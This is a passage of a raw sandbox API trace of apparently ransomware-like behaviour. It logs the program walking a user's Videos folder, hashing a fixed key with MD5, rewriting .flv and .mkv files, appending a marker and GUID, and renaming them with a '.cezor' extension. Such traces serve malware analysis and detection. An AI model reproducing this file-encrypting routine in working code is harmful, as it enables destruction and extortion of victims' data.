ftLastWriteTime.dwHighDateTime=0x1d4ca84, nFileSizeHigh=0x0, nFileSizeLow=0x16ff2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ccASAQTIpPKgN.flv", cAlternateFileName="CCASAQ~1.FLV")) returned 1 [0062.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0062.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94cf8 [0062.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0062.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\ccASAQTIpPKgN.flv") returned=".flv" [0062.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\ccASAQTIpPKgN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\ccasaqtippkgn.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.198] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=94194) returned 1 [0062.198] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.200] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16fcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.200] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.201] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.201] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.201] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.201] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x16ff2, lpOverlapped=0x0) returned 1 [0062.202] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.202] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.202] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.202] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.202] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0062.203] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.203] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.203] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.203] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.203] GetLastError () returned 0x0 [0062.203] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.203] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0062.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16ff0) returned 0x3132418 [0062.203] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.203] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x16fed, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x16fed, lpOverlapped=0x0) returned 1 [0062.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.204] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16ff2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0062.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0062.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.204] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.204] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.204] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.205] CloseHandle (hObject=0x5c4) returned 1 [0062.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0062.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c0) returned 0x3100c28 [0062.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0062.206] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\ccASAQTIpPKgN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\ccasaqtippkgn.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\ccASAQTIpPKgN.flv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\ccasaqtippkgn.flv.cezor")) returned 1 [0062.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.206] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0062.207] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a281a00, ftCreationTime.dwHighDateTime=0x1d4c5e8, ftLastAccessTime.dwLowDateTime=0x5eeb9050, ftLastAccessTime.dwHighDateTime=0x1d4d452, ftLastWriteTime.dwLowDateTime=0x5eeb9050, ftLastWriteTime.dwHighDateTime=0x1d4d452, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IAQDAF9mflNWLRgoJL", cAlternateFileName="IAQDAF~1")) returned 1 [0062.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0062.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0062.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0062.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x30171f0 [0062.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3017128 [0062.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30171f0 | out: hHeap=0x670000) returned 1 [0062.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0062.207] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01b1e0, ftCreationTime.dwHighDateTime=0x1d4d28a, ftLastAccessTime.dwLowDateTime=0xedd1f590, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0xedd1f590, ftLastWriteTime.dwHighDateTime=0x1d4d225, nFileSizeHigh=0x0, nFileSizeLow=0x1870c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OTozEY.mkv", cAlternateFileName="")) returned 1 [0062.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0062.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94cf8 [0062.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0062.208] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\OTozEY.mkv") returned=".mkv" [0062.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\OTozEY.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\otozey.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.208] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=100108) returned 1 [0062.208] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.210] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x186e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.210] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.211] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.211] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1870c, lpOverlapped=0x0) returned 1 [0062.212] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.212] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.212] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.212] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0062.212] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.212] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.212] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.212] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.212] GetLastError () returned 0x0 [0062.213] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.213] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0062.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18710) returned 0x3132418 [0062.213] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.213] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x18707, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x18707, lpOverlapped=0x0) returned 1 [0062.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.214] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1870c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0062.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0062.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.214] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.214] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.214] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.214] CloseHandle (hObject=0x5c4) returned 1 [0062.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0062.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0062.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0062.215] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\OTozEY.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\otozey.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\OTozEY.mkv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\otozey.mkv.cezor")) returned 1 [0062.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.216] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0062.217] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01b1e0, ftCreationTime.dwHighDateTime=0x1d4d28a, ftLastAccessTime.dwLowDateTime=0xedd1f590, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0xedd1f590, ftLastWriteTime.dwHighDateTime=0x1d4d225, nFileSizeHigh=0x0, nFileSizeLow=0x1870c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OTozEY.mkv", cAlternateFileName="")) returned 0 [0062.217] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0062.217] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0062.217] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 